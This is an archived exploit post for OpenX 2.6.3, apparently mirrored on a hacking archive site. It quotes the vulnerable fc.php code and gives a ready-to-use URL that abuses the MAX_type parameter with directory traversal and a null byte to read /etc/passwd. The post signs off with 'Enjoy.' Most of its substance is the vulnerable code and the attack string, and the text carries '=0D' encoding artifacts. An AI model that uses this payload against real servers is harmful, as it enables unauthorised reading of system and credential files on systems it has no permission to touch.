AOH :: HP Unsorted O :: VA2444.HTM

OpenX 2.6.3 - Local File Inclusion



OpenX 2.6.3 - Local File Inclusion
OpenX 2.6.3 - Local File Inclusion



I have found a local file inclusion exploit in OpenX 2.6.3, this is in the script "fc.php", located in /www/delivery/=0D
=0D
Here is a snip of the code:=0D
[snip]=0D
include_once '../../init-delivery.php';=0D
$MAX_PLUGINS_AD_PLUGIN_NAME = 'MAX_type';=0D
if(!isset($_GET[$MAX_PLUGINS_AD_PLUGIN_NAME])) {=0D
echo $MAX_PLUGINS_AD_PLUGIN_NAME . ' is not specified';=0D
exit(1);=0D
}=0D
$tagName = $_GET[$MAX_PLUGINS_AD_PLUGIN_NAME];=0D
$tagFileName = MAX_PATH . '/plugins/invocationTags/'.$tagName.'/'.$tagName.'.delivery.php';=0D
if(!file_exists($tagFileName)) {=0D
echo 'Invocation plugin delivery file "' . $tagFileName . '" doesn\'t exists';=0D
exit(1);=0D
}=0D
include $tagFileName;=0D
[/snip]=0D
=0D
As you can see, it is checking whether the file you have inputted exists. This can be exploited like so:=0D
=0D
http://host/path/to/openx/www/delivery/fc.php??MAX_type=../../../../../../../../../../../../../../etc/passwd%00=0D 
=0D
Enjoy.=0D
=0D
-Charlie=0D
[Elites0ft.com]

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.